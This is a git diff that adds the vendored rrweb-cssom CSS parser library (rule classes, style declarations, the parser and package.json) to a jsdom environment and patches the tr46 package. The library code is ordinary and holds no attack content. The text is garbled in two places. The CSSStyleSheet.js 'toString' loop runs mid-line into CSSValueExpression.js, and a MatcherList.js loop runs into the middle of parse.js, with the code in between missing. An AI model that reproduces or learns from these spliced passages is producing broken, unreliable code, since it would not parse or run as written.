+exports.CSSGroupingRule = CSSOM.CSSGroupingRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSHostRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSHostRule.js new file mode 100644 index 00000000..365304fc --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSHostRule.js @@ -0,0 +1,37 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule +}; +///CommonJS + + +/** + * @constructor + * @see http://www.w3.org/TR/shadow-dom/#host-at-rule + */ +CSSOM.CSSHostRule = function CSSHostRule() { + CSSOM.CSSRule.call(this); + this.cssRules = []; +}; + +CSSOM.CSSHostRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSHostRule.prototype.constructor = CSSOM.CSSHostRule; +CSSOM.CSSHostRule.prototype.type = 1001; +//FIXME +//CSSOM.CSSHostRule.prototype.insertRule = CSSStyleSheet.prototype.insertRule; +//CSSOM.CSSHostRule.prototype.deleteRule = CSSStyleSheet.prototype.deleteRule; + +Object.defineProperty(CSSOM.CSSHostRule.prototype, "cssText", { + get: function() { + var cssTexts = []; + for (var i=0, length=this.cssRules.length; i < length; i++) { + cssTexts.push(this.cssRules[i].cssText); + } + return "@host {" + cssTexts.join("") + "}"; + } +}); + + +//.CommonJS +exports.CSSHostRule = CSSOM.CSSHostRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSImportRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSImportRule.js new file mode 100644 index 00000000..0398105a --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSImportRule.js @@ -0,0 +1,132 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule, + CSSStyleSheet: require("./CSSStyleSheet").CSSStyleSheet, + MediaList: require("./MediaList").MediaList +}; +///CommonJS + + +/** + * @constructor + * @see http://dev.w3.org/csswg/cssom/#cssimportrule + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSImportRule + */ +CSSOM.CSSImportRule = function CSSImportRule() { + CSSOM.CSSRule.call(this); + this.href = ""; + this.media = new CSSOM.MediaList(); + this.styleSheet = new CSSOM.CSSStyleSheet(); +}; + +CSSOM.CSSImportRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSImportRule.prototype.constructor = CSSOM.CSSImportRule; +CSSOM.CSSImportRule.prototype.type = 3; + +Object.defineProperty(CSSOM.CSSImportRule.prototype, "cssText", { + get: function() { + var mediaText = this.media.mediaText; + return "@import url(" + this.href + ")" + (mediaText ? " " + mediaText : "") + ";"; + }, + set: function(cssText) { + var i = 0; + + /** + * @import url(partial.css) screen, handheld; + * || | + * after-import media + * | + * url + */ + var state = ''; + + var buffer = ''; + var index; + for (var character; (character = cssText.charAt(i)); i++) { + + switch (character) { + case ' ': + case '\t': + case '\r': + case '\n': + case '\f': + if (state === 'after-import') { + state = 'url'; + } else { + buffer += character; + } + break; + + case '@': + if (!state && cssText.indexOf('@import', i) === i) { + state = 'after-import'; + i += 'import'.length; + buffer = ''; + } + break; + + case 'u': + if (state === 'url' && cssText.indexOf('url(', i) === i) { + index = cssText.indexOf(')', i + 1); + if (index === -1) { + throw i + ': ")" not found'; + } + i += 'url('.length; + var url = cssText.slice(i, index); + if (url[0] === url[url.length - 1]) { + if (url[0] === '"' || url[0] === "'") { + url = url.slice(1, -1); + } + } + this.href = url; + i = index; + state = 'media'; + } + break; + + case '"': + if (state === 'url') { + index = cssText.indexOf('"', i + 1); + if (!index) { + throw i + ": '\"' not found"; + } + this.href = cssText.slice(i + 1, index); + i = index; + state = 'media'; + } + break; + + case "'": + if (state === 'url') { + index = cssText.indexOf("'", i + 1); + if (!index) { + throw i + ': "\'" not found'; + } + this.href = cssText.slice(i + 1, index); + i = index; + state = 'media'; + } + break; + + case ';': + if (state === 'media') { + if (buffer) { + this.media.mediaText = buffer.trim(); + } + } + break; + + default: + if (state === 'media') { + buffer += character; + } + break; + } + } + } +}); + + +//.CommonJS +exports.CSSImportRule = CSSOM.CSSImportRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframeRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframeRule.js new file mode 100644 index 00000000..3b928efe --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframeRule.js @@ -0,0 +1,37 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule, + CSSStyleDeclaration: require('./CSSStyleDeclaration').CSSStyleDeclaration +}; +///CommonJS + + +/** + * @constructor + * @see http://www.w3.org/TR/css3-animations/#DOM-CSSKeyframeRule + */ +CSSOM.CSSKeyframeRule = function CSSKeyframeRule() { + CSSOM.CSSRule.call(this); + this.keyText = ''; + this.style = new CSSOM.CSSStyleDeclaration(); + this.style.parentRule = this; +}; + +CSSOM.CSSKeyframeRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSKeyframeRule.prototype.constructor = CSSOM.CSSKeyframeRule; +CSSOM.CSSKeyframeRule.prototype.type = 8; +//FIXME +//CSSOM.CSSKeyframeRule.prototype.insertRule = CSSStyleSheet.prototype.insertRule; +//CSSOM.CSSKeyframeRule.prototype.deleteRule = CSSStyleSheet.prototype.deleteRule; + +// http://www.opensource.apple.com/source/WebCore/WebCore-955.66.1/css/WebKitCSSKeyframeRule.cpp +Object.defineProperty(CSSOM.CSSKeyframeRule.prototype, "cssText", { + get: function() { + return this.keyText + " {" + this.style.cssText + "} "; + } +}); + + +//.CommonJS +exports.CSSKeyframeRule = CSSOM.CSSKeyframeRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframesRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframesRule.js new file mode 100644 index 00000000..53e61fab --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframesRule.js @@ -0,0 +1,39 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule +}; +///CommonJS + + +/** + * @constructor + * @see http://www.w3.org/TR/css3-animations/#DOM-CSSKeyframesRule + */ +CSSOM.CSSKeyframesRule = function CSSKeyframesRule() { + CSSOM.CSSRule.call(this); + this.name = ''; + this.cssRules = []; +}; + +CSSOM.CSSKeyframesRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSKeyframesRule.prototype.constructor = CSSOM.CSSKeyframesRule; +CSSOM.CSSKeyframesRule.prototype.type = 7; +//FIXME +//CSSOM.CSSKeyframesRule.prototype.insertRule = CSSStyleSheet.prototype.insertRule; +//CSSOM.CSSKeyframesRule.prototype.deleteRule = CSSStyleSheet.prototype.deleteRule; + +// http://www.opensource.apple.com/source/WebCore/WebCore-955.66.1/css/WebKitCSSKeyframesRule.cpp +Object.defineProperty(CSSOM.CSSKeyframesRule.prototype, "cssText", { + get: function() { + var cssTexts = []; + for (var i=0, length=this.cssRules.length; i < length; i++) { + cssTexts.push(" " + this.cssRules[i].cssText); + } + return "@" + (this._vendorPrefix || '') + "keyframes " + this.name + " { \n" + cssTexts.join("\n") + "\n}"; + } +}); + + +//.CommonJS +exports.CSSKeyframesRule = CSSOM.CSSKeyframesRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSMediaRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSMediaRule.js new file mode 100644 index 00000000..176d1345 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSMediaRule.js @@ -0,0 +1,53 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule, + CSSGroupingRule: require("./CSSGroupingRule").CSSGroupingRule, + CSSConditionRule: require("./CSSConditionRule").CSSConditionRule, + MediaList: require("./MediaList").MediaList +}; +///CommonJS + + +/** + * @constructor + * @see http://dev.w3.org/csswg/cssom/#cssmediarule + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSMediaRule + */ +CSSOM.CSSMediaRule = function CSSMediaRule() { + CSSOM.CSSConditionRule.call(this); + this.media = new CSSOM.MediaList(); +}; + +CSSOM.CSSMediaRule.prototype = new CSSOM.CSSConditionRule(); +CSSOM.CSSMediaRule.prototype.constructor = CSSOM.CSSMediaRule; +CSSOM.CSSMediaRule.prototype.type = 4; + +// https://opensource.apple.com/source/WebCore/WebCore-7611.1.21.161.3/css/CSSMediaRule.cpp +Object.defineProperties(CSSOM.CSSMediaRule.prototype, { + "conditionText": { + get: function() { + return this.media.mediaText; + }, + set: function(value) { + this.media.mediaText = value; + }, + configurable: true, + enumerable: true + }, + "cssText": { + get: function() { + var cssTexts = []; + for (var i=0, length=this.cssRules.length; i < length; i++) { + cssTexts.push(this.cssRules[i].cssText); + } + return "@media " + this.media.mediaText + " {" + cssTexts.join("") + "}"; + }, + configurable: true, + enumerable: true + } +}); + + +//.CommonJS +exports.CSSMediaRule = CSSOM.CSSMediaRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSOM.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSOM.js new file mode 100644 index 00000000..95f35630 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSOM.js @@ -0,0 +1,3 @@ +var CSSOM = {}; + + diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSRule.js new file mode 100644 index 00000000..0b5e25b6 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSRule.js @@ -0,0 +1,43 @@ +//.CommonJS +var CSSOM = {}; +///CommonJS + + +/** + * @constructor + * @see http://dev.w3.org/csswg/cssom/#the-cssrule-interface + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSRule + */ +CSSOM.CSSRule = function CSSRule() { + this.parentRule = null; + this.parentStyleSheet = null; +}; + +CSSOM.CSSRule.UNKNOWN_RULE = 0; // obsolete +CSSOM.CSSRule.STYLE_RULE = 1; +CSSOM.CSSRule.CHARSET_RULE = 2; // obsolete +CSSOM.CSSRule.IMPORT_RULE = 3; +CSSOM.CSSRule.MEDIA_RULE = 4; +CSSOM.CSSRule.FONT_FACE_RULE = 5; +CSSOM.CSSRule.PAGE_RULE = 6; +CSSOM.CSSRule.KEYFRAMES_RULE = 7; +CSSOM.CSSRule.KEYFRAME_RULE = 8; +CSSOM.CSSRule.MARGIN_RULE = 9; +CSSOM.CSSRule.NAMESPACE_RULE = 10; +CSSOM.CSSRule.COUNTER_STYLE_RULE = 11; +CSSOM.CSSRule.SUPPORTS_RULE = 12; +CSSOM.CSSRule.DOCUMENT_RULE = 13; +CSSOM.CSSRule.FONT_FEATURE_VALUES_RULE = 14; +CSSOM.CSSRule.VIEWPORT_RULE = 15; +CSSOM.CSSRule.REGION_STYLE_RULE = 16; + + +CSSOM.CSSRule.prototype = { + constructor: CSSOM.CSSRule + //FIXME +}; + + +//.CommonJS +exports.CSSRule = CSSOM.CSSRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleDeclaration.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleDeclaration.js new file mode 100644 index 00000000..b43b9afa --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleDeclaration.js @@ -0,0 +1,148 @@ +//.CommonJS +var CSSOM = {}; +///CommonJS + + +/** + * @constructor + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration + */ +CSSOM.CSSStyleDeclaration = function CSSStyleDeclaration(){ + this.length = 0; + this.parentRule = null; + + // NON-STANDARD + this._importants = {}; +}; + + +CSSOM.CSSStyleDeclaration.prototype = { + + constructor: CSSOM.CSSStyleDeclaration, + + /** + * + * @param {string} name + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration-getPropertyValue + * @return {string} the value of the property if it has been explicitly set for this declaration block. + * Returns the empty string if the property has not been set. + */ + getPropertyValue: function(name) { + return this[name] || ""; + }, + + /** + * + * @param {string} name + * @param {string} value + * @param {string} [priority=null] "important" or null + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration-setProperty + */ + setProperty: function(name, value, priority) { + if (this[name]) { + // Property already exist. Overwrite it. + var index = Array.prototype.indexOf.call(this, name); + if (index < 0) { + this[this.length] = name; + this.length++; + } + } else { + // New property. + this[this.length] = name; + this.length++; + } + this[name] = value + ""; + this._importants[name] = priority; + }, + + /** + * + * @param {string} name + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleDeclaration-removeProperty + * @return {string} the value of the property if it has been explicitly set for this declaration block. + * Returns the empty string if the property has not been set or the property name does not correspond to a known CSS property. + */ + removeProperty: function(name) { + if (!(name in this)) { + return ""; + } + var index = Array.prototype.indexOf.call(this, name); + if (index < 0) { + return ""; + } + var prevValue = this[name]; + this[name] = ""; + + // That's what WebKit and Opera do + Array.prototype.splice.call(this, index, 1); + + // That's what Firefox does + //this[index] = "" + + return prevValue; + }, + + getPropertyCSSValue: function() { + //FIXME + }, + + /** + * + * @param {String} name + */ + getPropertyPriority: function(name) { + return this._importants[name] || ""; + }, + + + /** + * element.style.overflow = "auto" + * element.style.getPropertyShorthand("overflow-x") + * -> "overflow" + */ + getPropertyShorthand: function() { + //FIXME + }, + + isPropertyImplicit: function() { + //FIXME + }, + + // Doesn't work in IE < 9 + get cssText(){ + var properties = []; + for (var i=0, length=this.length; i < length; ++i) { + var name = this[i]; + var value = this.getPropertyValue(name); + var priority = this.getPropertyPriority(name); + if (priority) { + priority = " !" + priority; + } + properties[i] = name + ": " + value + priority + ";"; + } + return properties.join(" "); + }, + + set cssText(text){ + var i, name; + for (i = this.length; i--;) { + name = this[i]; + this[name] = ""; + } + Array.prototype.splice.call(this, 0, this.length); + this._importants = {}; + + var dummyRule = CSSOM.parse('#bogus{' + text + '}').cssRules[0].style; + var length = dummyRule.length; + for (i = 0; i < length; ++i) { + name = dummyRule[i]; + this.setProperty(dummyRule[i], dummyRule.getPropertyValue(name), dummyRule.getPropertyPriority(name)); + } + } +}; + + +//.CommonJS +exports.CSSStyleDeclaration = CSSOM.CSSStyleDeclaration; +CSSOM.parse = require('./parse').parse; // Cannot be included sooner due to the mutual dependency between parse.js and CSSStyleDeclaration.js +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleRule.js new file mode 100644 index 00000000..630b3f85 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleRule.js @@ -0,0 +1,190 @@ +//.CommonJS +var CSSOM = { + CSSStyleDeclaration: require("./CSSStyleDeclaration").CSSStyleDeclaration, + CSSRule: require("./CSSRule").CSSRule +}; +///CommonJS + + +/** + * @constructor + * @see http://dev.w3.org/csswg/cssom/#cssstylerule + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleRule + */ +CSSOM.CSSStyleRule = function CSSStyleRule() { + CSSOM.CSSRule.call(this); + this.selectorText = ""; + this.style = new CSSOM.CSSStyleDeclaration(); + this.style.parentRule = this; +}; + +CSSOM.CSSStyleRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSStyleRule.prototype.constructor = CSSOM.CSSStyleRule; +CSSOM.CSSStyleRule.prototype.type = 1; + +Object.defineProperty(CSSOM.CSSStyleRule.prototype, "cssText", { + get: function() { + var text; + if (this.selectorText) { + text = this.selectorText + " {" + this.style.cssText + "}"; + } else { + text = ""; + } + return text; + }, + set: function(cssText) { + var rule = CSSOM.CSSStyleRule.parse(cssText); + this.style = rule.style; + this.selectorText = rule.selectorText; + } +}); + + +/** + * NON-STANDARD + * lightweight version of parse.js. + * @param {string} ruleText + * @return CSSStyleRule + */ +CSSOM.CSSStyleRule.parse = function(ruleText) { + var i = 0; + var state = "selector"; + var index; + var j = i; + var buffer = ""; + + var SIGNIFICANT_WHITESPACE = { + "selector": true, + "value": true + }; + + var styleRule = new CSSOM.CSSStyleRule(); + var name, priority=""; + + for (var character; (character = ruleText.charAt(i)); i++) { + + switch (character) { + + case " ": + case "\t": + case "\r": + case "\n": + case "\f": + if (SIGNIFICANT_WHITESPACE[state]) { + // Squash 2 or more white-spaces in the row into 1 + switch (ruleText.charAt(i - 1)) { + case " ": + case "\t": + case "\r": + case "\n": + case "\f": + break; + default: + buffer += " "; + break; + } + } + break; + + // String + case '"': + j = i + 1; + index = ruleText.indexOf('"', j) + 1; + if (!index) { + throw '" is missing'; + } + buffer += ruleText.slice(i, index); + i = index - 1; + break; + + case "'": + j = i + 1; + index = ruleText.indexOf("'", j) + 1; + if (!index) { + throw "' is missing"; + } + buffer += ruleText.slice(i, index); + i = index - 1; + break; + + // Comment + case "/": + if (ruleText.charAt(i + 1) === "*") { + i += 2; + index = ruleText.indexOf("*/", i); + if (index === -1) { + throw new SyntaxError("Missing */"); + } else { + i = index + 1; + } + } else { + buffer += character; + } + break; + + case "{": + if (state === "selector") { + styleRule.selectorText = buffer.trim(); + buffer = ""; + state = "name"; + } + break; + + case ":": + if (state === "name") { + name = buffer.trim(); + buffer = ""; + state = "value"; + } else { + buffer += character; + } + break; + + case "!": + if (state === "value" && ruleText.indexOf("!important", i) === i) { + priority = "important"; + i += "important".length; + } else { + buffer += character; + } + break; + + case ";": + if (state === "value") { + styleRule.style.setProperty(name, buffer.trim(), priority); + priority = ""; + buffer = ""; + state = "name"; + } else { + buffer += character; + } + break; + + case "}": + if (state === "value") { + styleRule.style.setProperty(name, buffer.trim(), priority); + priority = ""; + buffer = ""; + } else if (state === "name") { + break; + } else { + buffer += character; + } + state = "selector"; + break; + + default: + buffer += character; + break; + + } + } + + return styleRule; + +}; + + +//.CommonJS +exports.CSSStyleRule = CSSOM.CSSStyleRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleSheet.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleSheet.js new file mode 100644 index 00000000..f0e0dfc5 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleSheet.js @@ -0,0 +1,88 @@ +//.CommonJS +var CSSOM = { + StyleSheet: require("./StyleSheet").StyleSheet, + CSSStyleRule: require("./CSSStyleRule").CSSStyleRule +}; +///CommonJS + + +/** + * @constructor + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet + */ +CSSOM.CSSStyleSheet = function CSSStyleSheet() { + CSSOM.StyleSheet.call(this); + this.cssRules = []; +}; + + +CSSOM.CSSStyleSheet.prototype = new CSSOM.StyleSheet(); +CSSOM.CSSStyleSheet.prototype.constructor = CSSOM.CSSStyleSheet; + + +/** + * Used to insert a new rule into the style sheet. The new rule now becomes part of the cascade. + * + * sheet = new Sheet("body {margin: 0}") + * sheet.toString() + * -> "body{margin:0;}" + * sheet.insertRule("img {border: none}", 0) + * -> 0 + * sheet.toString() + * -> "img{border:none;}body{margin:0;}" + * + * @param {string} rule + * @param {number} index + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet-insertRule + * @return {number} The index within the style sheet's rule collection of the newly inserted rule. + */ +CSSOM.CSSStyleSheet.prototype.insertRule = function(rule, index) { + if (index < 0 || index > this.cssRules.length) { + throw new RangeError("INDEX_SIZE_ERR"); + } + var cssRule = CSSOM.parse(rule).cssRules[0]; + cssRule.parentStyleSheet = this; + this.cssRules.splice(index, 0, cssRule); + return index; +}; + + +/** + * Used to delete a rule from the style sheet. + * + * sheet = new Sheet("img{border:none} body{margin:0}") + * sheet.toString() + * -> "img{border:none;}body{margin:0;}" + * sheet.deleteRule(0) + * sheet.toString() + * -> "body{margin:0;}" + * + * @param {number} index within the style sheet's rule list of the rule to remove. + * @see http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet-deleteRule + */ +CSSOM.CSSStyleSheet.prototype.deleteRule = function(index) { + if (index < 0 || index >= this.cssRules.length) { + throw new RangeError("INDEX_SIZE_ERR"); + } + this.cssRules.splice(index, 1); +}; + + +/** + * NON-STANDARD + * @return {string} serialize stylesheet + */ +CSSOM.CSSStyleSheet.prototype.toString = function() { + var result = ""; + var rules = this.cssRules; + for (var i=0; i 1000 ? '1000px' : 'auto'); + * } + */ +CSSOM.CSSValueExpression.prototype.parse = function() { + var token = this._token, + idx = this._idx; + + var character = '', + expression = '', + error = '', + info, + paren = []; + + + for (; ; ++idx) { + character = token.charAt(idx); + + // end of token + if (character === '') { + error = 'css expression error: unfinished expression!'; + break; + } + + switch(character) { + case '(': + paren.push(character); + expression += character; + break; + + case ')': + paren.pop(character); + expression += character; + break; + + case '/': + if ((info = this._parseJSComment(token, idx))) { // comment? + if (info.error) { + error = 'css expression error: unfinished comment in expression!'; + } else { + idx = info.idx; + // ignore the comment + } + } else if ((info = this._parseJSRexExp(token, idx))) { // regexp + idx = info.idx; + expression += info.text; + } else { // other + expression += character; + } + break; + + case "'": + case '"': + info = this._parseJSString(token, idx, character); + if (info) { // string + idx = info.idx; + expression += info.text; + } else { + expression += character; + } + break; + + default: + expression += character; + break; + } + + if (error) { + break; + } + + // end of expression + if (paren.length === 0) { + break; + } + } + + var ret; + if (error) { + ret = { + error: error + }; + } else { + ret = { + idx: idx, + expression: expression + }; + } + + return ret; +}; + + +/** + * + * @return {Object|false} + * - idx: + * - text: + * or + * - error: + * or + * false + * + */ +CSSOM.CSSValueExpression.prototype._parseJSComment = function(token, idx) { + var nextChar = token.charAt(idx + 1), + text; + + if (nextChar === '/' || nextChar === '*') { + var startIdx = idx, + endIdx, + commentEndChar; + + if (nextChar === '/') { // line comment + commentEndChar = '\n'; + } else if (nextChar === '*') { // block comment + commentEndChar = '*/'; + } + + endIdx = token.indexOf(commentEndChar, startIdx + 1 + 1); + if (endIdx !== -1) { + endIdx = endIdx + commentEndChar.length - 1; + text = token.substring(idx, endIdx + 1); + return { + idx: endIdx, + text: text + }; + } else { + var error = 'css expression error: unfinished comment in expression!'; + return { + error: error + }; + } + } else { + return false; + } +}; + + +/** + * + * @return {Object|false} + * - idx: + * - text: + * or + * false + * + */ +CSSOM.CSSValueExpression.prototype._parseJSString = function(token, idx, sep) { + var endIdx = this._findMatchedIdx(token, idx, sep), + text; + + if (endIdx === -1) { + return false; + } else { + text = token.substring(idx, endIdx + sep.length); + + return { + idx: endIdx, + text: text + }; + } +}; + + +/** + * parse regexp in css expression + * + * @return {Object|false} + * - idx: + * - regExp: + * or + * false + */ + +/* + +all legal RegExp + +/a/ +(/a/) +[/a/] +[12, /a/] + +!/a/ + ++/a/ +-/a/ +* /a/ +/ /a/ +%/a/ + +===/a/ +!==/a/ +==/a/ +!=/a/ +>/a/ +>=/a/ +>/a/ +>>>/a/ + +&&/a/ +||/a/ +?/a/ +=/a/ +,/a/ + + delete /a/ + in /a/ +instanceof /a/ + new /a/ + typeof /a/ + void /a/ + +*/ +CSSOM.CSSValueExpression.prototype._parseJSRexExp = function(token, idx) { + var before = token.substring(0, idx).replace(/\s+$/, ""), + legalRegx = [ + /^$/, + /\($/, + /\[$/, + /\!$/, + /\+$/, + /\-$/, + /\*$/, + /\/\s+/, + /\%$/, + /\=$/, + /\>$/, + /<$/, + /\&$/, + /\|$/, + /\^$/, + /\~$/, + /\?$/, + /\,$/, + /delete$/, + /in$/, + /instanceof$/, + /new$/, + /typeof$/, + /void$/ + ]; + + var isLegal = legalRegx.some(function(reg) { + return reg.test(before); + }); + + if (!isLegal) { + return false; + } else { + var sep = '/'; + + // same logic as string + return this._parseJSString(token, idx, sep); + } +}; + + +/** + * + * find next sep(same line) index in `token` + * + * @return {Number} + * + */ +CSSOM.CSSValueExpression.prototype._findMatchedIdx = function(token, idx, sep) { + var startIdx = idx, + endIdx; + + var NOT_FOUND = -1; + + while(true) { + endIdx = token.indexOf(sep, startIdx + 1); + + if (endIdx === -1) { // not found + endIdx = NOT_FOUND; + break; + } else { + var text = token.substring(idx + 1, endIdx), + matched = text.match(/\\+$/); + if (!matched || matched[0] % 2 === 0) { // not escaped + break; + } else { + startIdx = endIdx; + } + } + } + + // boundary must be in the same line(js sting or regexp) + var nextNewLineIdx = token.indexOf('\n', idx + 1); + if (nextNewLineIdx < endIdx) { + endIdx = NOT_FOUND; + } + + + return endIdx; +}; + + + + +//.CommonJS +exports.CSSValueExpression = CSSOM.CSSValueExpression; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/MatcherList.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/MatcherList.js new file mode 100644 index 00000000..a7915851 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/MatcherList.js @@ -0,0 +1,62 @@ +//.CommonJS +var CSSOM = {}; +///CommonJS + + +/** + * @constructor + * @see https://developer.mozilla.org/en/CSS/@-moz-document + */ +CSSOM.MatcherList = function MatcherList(){ + this.length = 0; +}; + +CSSOM.MatcherList.prototype = { + + constructor: CSSOM.MatcherList, + + /** + * @return {string} + */ + get matcherText() { + return Array.prototype.join.call(this, ", "); + }, + + /** + * @param {string} value + */ + set matcherText(value) { + // just a temporary solution, actually it may be wrong by just split the value with ',', because a url can include ','. + var values = value.split(","); + var length = this.length = values.length; + for (var i=0; i 0; + + while (ancestorRules.length > 0) { + parentRule = ancestorRules.pop(); + + if ( + parentRule.constructor.name === "CSSMediaRule" + || parentRule.constructor.name === "CSSSupportsRule" + ) { + prevScope = currentScope; + currentScope = parentRule; + currentScope.cssRules.push(prevScope); + break; + } + + if (ancestorRules.length === 0) { + hasAncestors = false; + } + } + + if (!hasAncestors) { + currentScope.__ends = i + 1; + styleSheet.cssRules.push(currentScope); + currentScope = styleSheet; + parentRule = null; + } + + buffer = ""; + state = "before-selector"; + break; + } + break; + + default: + switch (state) { + case "before-selector": + state = "selector"; + styleRule = new CSSOM.CSSStyleRule(); + styleRule.__starts = i; + break; + case "before-name": + state = "name"; + break; + case "before-value": + state = "value"; + break; + case "importRule-begin": + state = "importRule"; + break; + } + buffer += character; + break; + } + } + + return styleSheet; +}; + + +//.CommonJS +exports.parse = CSSOM.parse; +// The following modules cannot be included sooner due to the mutual dependency with parse.js +CSSOM.CSSStyleSheet = require("./CSSStyleSheet").CSSStyleSheet; +CSSOM.CSSStyleRule = require("./CSSStyleRule").CSSStyleRule; +CSSOM.CSSImportRule = require("./CSSImportRule").CSSImportRule; +CSSOM.CSSGroupingRule = require("./CSSGroupingRule").CSSGroupingRule; +CSSOM.CSSMediaRule = require("./CSSMediaRule").CSSMediaRule; +CSSOM.CSSConditionRule = require("./CSSConditionRule").CSSConditionRule; +CSSOM.CSSSupportsRule = require("./CSSSupportsRule").CSSSupportsRule; +CSSOM.CSSFontFaceRule = require("./CSSFontFaceRule").CSSFontFaceRule; +CSSOM.CSSHostRule = require("./CSSHostRule").CSSHostRule; +CSSOM.CSSStyleDeclaration = require('./CSSStyleDeclaration').CSSStyleDeclaration; +CSSOM.CSSKeyframeRule = require('./CSSKeyframeRule').CSSKeyframeRule; +CSSOM.CSSKeyframesRule = require('./CSSKeyframesRule').CSSKeyframesRule; +CSSOM.CSSValueExpression = require('./CSSValueExpression').CSSValueExpression; +CSSOM.CSSDocumentRule = require('./CSSDocumentRule').CSSDocumentRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/package.json b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/package.json new file mode 100644 index 00000000..c662559d --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/package.json @@ -0,0 +1,18 @@ +{ + "name": "rrweb-cssom", + "description": "CSS Object Model implementation and CSS parser", + "keywords": [ + "CSS", + "CSSOM", + "parser", + "styleSheet" + ], + "version": "0.6.0", + "author": "Nikita Vasilyev ", + "repository": "rrweb-io/CSSOM", + "files": [ + "lib/" + ], + "main": "./lib/index.js", + "license": "MIT" +} diff --git a/env_xbb_lastest_jsdom/node_modules/tr46/README.md b/env_xbb_lastest_jsdom/node_modules/tr46/README.md index 1df7915b..f4f7607a 100644 --- a/env_xbb_lastest_jsdom/node_modules/tr46/README.md +++ b/env_xbb_lastest_jsdom/node_modules/tr46/README.md @@ -2,16 +2,6 @@ An JavaScript implementation of [Unicode Technical Standard #46: Unicode IDNA Compatibility Processing](https://unicode.org/reports/tr46/). -## Installation - -[Node.js](http://nodejs.org) ≥ 12 is required. To install, type this at the command line: - -```shell -npm install tr46 -# or -yarn add tr46 -``` - ## API ### `toASCII(domainName[, options])` diff --git a/env_xbb_lastest_jsdom/node_modules/tr46/index.js b/env_xbb_lastest_jsdom/node_modules/tr46/index.js index 7ce05327..518eb10b 100644 --- a/env_xbb_lastest_jsdom/node_modules/tr46/index.js +++ b/env_xbb_lastest_jsdom/node_modules/tr46/index.js @@ -1,6 +1,6 @@ "use strict"; -const punycode = require("punycode"); +const punycode = require("punycode/"); const regexes = require("./lib/regexes.js"); const mappingTable = require("./lib/mappingTable.json"); const { STATUS_MAPPING } = require("./lib/statusMapping.js"); @@ -130,7 +130,9 @@ function validateLabel(label, { checkHyphens, 